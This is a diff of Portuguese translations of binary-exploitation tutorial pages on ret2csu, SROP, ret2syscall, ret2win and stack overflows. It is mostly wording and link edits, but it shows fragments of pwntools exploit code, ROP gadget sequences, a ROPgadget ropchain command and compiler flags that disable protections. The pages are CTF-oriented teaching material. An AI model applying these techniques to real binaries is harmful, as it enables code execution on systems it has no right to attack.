+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Em caso de um BOF, é necessário contornar o armazenamento do canário da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
 - **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
 
 ## Técnicas baseadas em ROP

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -28,7 +28,7 @@ Este gadget nos permite controlar esses registradores ao retirar valores da pilh
 
 2. A segunda sequência usa os valores que configuramos para fazer algumas coisas:
 - **Mover valores específicos para outros registradores**, tornando-os prontos para usarmos como parâmetros em funções.
-- **Executar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
+- **Realizar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -81,7 +81,7 @@ brop-blind-return-oriented-programming.md
 
 Imagine que você deseja fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
 
-É aqui que **ret2csu** entra em cena:
+É aqui que o **ret2csu** entra em cena:
 
 1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
 2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
@@ -113,9 +113,9 @@ print(p.recvline())                        # should receive "Awesome work!"
 > [!WARNING]
 > Note que o exploit anterior não é destinado a fazer um **`RCE`**, ele é destinado apenas a chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
 
-### Contornando a chamada e alcançando ret
+### Ignorando a chamada e alcançando o ret
 
-O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **contornando as comparações e alcançando o `ret`** após a chamada:
+O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **ignorando as comparações e alcançando o `ret`** após a chamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -165,8 +165,8 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### Por Que Não Usar Apenas a libc Diretamente?
+### Por Que Não Usar libc Diretamente?
 
-Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
+Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente no libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -13,9 +13,9 @@ Portanto, é possível **falsificar todas essas estruturas** para fazer a resolu
 Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, então as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pela leitura em um local conhecido, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ela **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço para `$'/bin/sh'`.
 
 > [!TIP]
-> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
+> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) ou [SROP](srop-sigreturn-oriented-programming/index.html)) e não houver maneiras de vazar endereços da libc.
 
-Confira este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
+Veja este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
 
 {{#ref}}
 https://youtu.be/ADULSwnQs-s?feature=shared

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
 
-Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
 
@@ -78,7 +78,7 @@ target.interactive()
 ```
 ## Ret2reg
 
-Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante pode ser usado (**ret2reg**).
+Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante poderia ser usado (**ret2reg**).
 
 ### Exemplo
 
@@ -165,7 +165,7 @@ p.interactive()
 ## Proteções
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
 
 ## Referências
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Essa técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
+Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Esta técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
 
 Para preparar a chamada para a **syscall**, é necessária a seguinte configuração:
 
@@ -16,7 +16,7 @@ Para preparar a chamada para a **syscall**, é necessária a seguinte configura
 Então, basicamente, é necessário escrever a string `/bin/sh` em algum lugar e, em seguida, realizar a `syscall` (estando ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever `/bin/sh` em uma área conhecida.
 
 > [!TIP]
-> Outra syscall interessante para chamar é **`mprotect`**, que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Outra syscall interessante para chamar é **`mprotect`**, que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 
 ## Gadgets de Registro
 
@@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 ```
 ### Automatizar cadeia ROP
 
-O seguinte comando cria uma cadeia ROP completa `sys_execve` dado um binário estático quando há gadgets write-what-where e instruções syscall:
+O seguinte comando cria uma cadeia ROP completa `sys_execve` dada uma binário estático quando há gadgets write-what-where e instruções syscall:
 ```bash
 ROPgadget --binary vuln --ropchain
 ```
@@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
 ## Gadgets Faltando
 
-Se você está **sem gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
+Se você está **faltando gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
 
 {{#ref}}
 ../srop-sigreturn-oriented-programming/

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -1,25 +1,25 @@
-# SROP - Programação Orientada a Retorno com Sigreturn
+# SROP - Sigreturn-Oriented Programming
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
+**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
 
 Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
 
-A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes do sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
+A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
 
 > [!CAUTION]
-> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que ele carregasse na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
+> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionando os valores dos registradores** que gostaríamos que ele carregasse na **pilha** é possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
 
-Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar os parâmetros para chamar outras Ret2syscalls:
+Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar parâmetros para chamar outras Ret2syscalls:
 
 {{#ref}}
 ../rop-syscall-execv/
 {{#endref}}
 
-Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para recuperar os valores posteriormente (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para posteriormente recuperar os valores (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -55,7 +55,7 @@ Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha p
 | __reserved         | sigmask            |
 +--------------------+--------------------+
 ```
-Para uma melhor explicação, verifique também:
+Para uma melhor explicação, confira também:
 
 {{#ref}}
 https://youtu.be/ADULSwnQs-s?feature=shared
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
+- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/index.html) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
+- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/index.html) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
+- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/index.html). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programa de assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
+- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
 

src/binary-exploitation/stack-overflow/README.md

@@ -6,13 +6,13 @@
 
 Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
 
-O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
+O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
 
-A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
+A vulnerabilidade geralmente surge porque uma função **copia dentro da pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
 
 Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
 
-Por exemplo, as seguintes funções poderiam ser vulneráveis:
+Por exemplo, as seguintes funções podem ser vulneráveis:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -27,7 +27,7 @@ A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito
 
 Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
 
-Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o.
+Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
 
 É possível usar **pwntools** para isso:
 ```python
@@ -48,22 +48,22 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Explorando Stack Overflows
+## Explorando Estouro de Pilha
 
-Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
+Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
 A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
 
 No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
 
 ### Ret2win
 
-Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
+Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
 
 {{#ref}}
 ret2win/
 {{#endref}}
 
-### Stack Shellcode
+### Shellcode na Pilha
 
 Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
 
@@ -79,15 +79,15 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
 ../rop-return-oriented-programing/
 {{#endref}}
 
-## Heap Overflows
+## Estouro de Heap
 
-Um overflow nem sempre ocorrerá na pilha, ele também pode ocorrer no **heap**, por exemplo:
+Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Tipos de proteções
+## Tipos de Proteções
 
 Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
 

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-**Ret2win** desafios são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
+**Ret2win** challenges são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
 
 ### Exemplo em C
 
@@ -32,9 +32,9 @@ Para compilar este programa sem proteções de pilha e com **ASLR** desativado,
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-m32`: Compile o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
-- `-fno-stack-protector`: Desativar proteções contra estouros de pilha.
+- `-fno-stack-protector`: Desabilitar proteções contra estouros de pilha.
 - `-z execstack`: Permitir a execução de código na pilha.
-- `-no-pie`: Desativar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
+- `-no-pie`: Desabilitar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
 - `-o vulnerable`: Nomear o arquivo de saída como `vulnerable`.
 
 ### Exploit em Python usando Pwntools
@@ -69,8 +69,8 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
 
 ## Proteções
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
 
 ## Outros exemplos & Referências
 
@@ -78,7 +78,7 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
 - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
 - 32 bits, sem ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
-- 64 bits com ASLR, com um leak do endereço do bin
+- 64 bits com ASLR, com um leak do endereço do binário
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, sem ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
@@ -86,15 +86,15 @@ O script Python envia uma mensagem cuidadosamente elaborada que, quando processa
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
+- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função win
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
+- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função win
 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 - O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 - 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, dá um leak de PIE, a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
+- arm64, PIE, dá um leak PIE a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 - ARM64, off-by-one para chamar uma função win
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de várias funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
+Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
 
 Como lembrete, **`leave`** basicamente significa:
 ```
@@ -27,34 +27,34 @@ Primeiro, você precisa saber um **endereço onde pode escrever dados / endereç
 
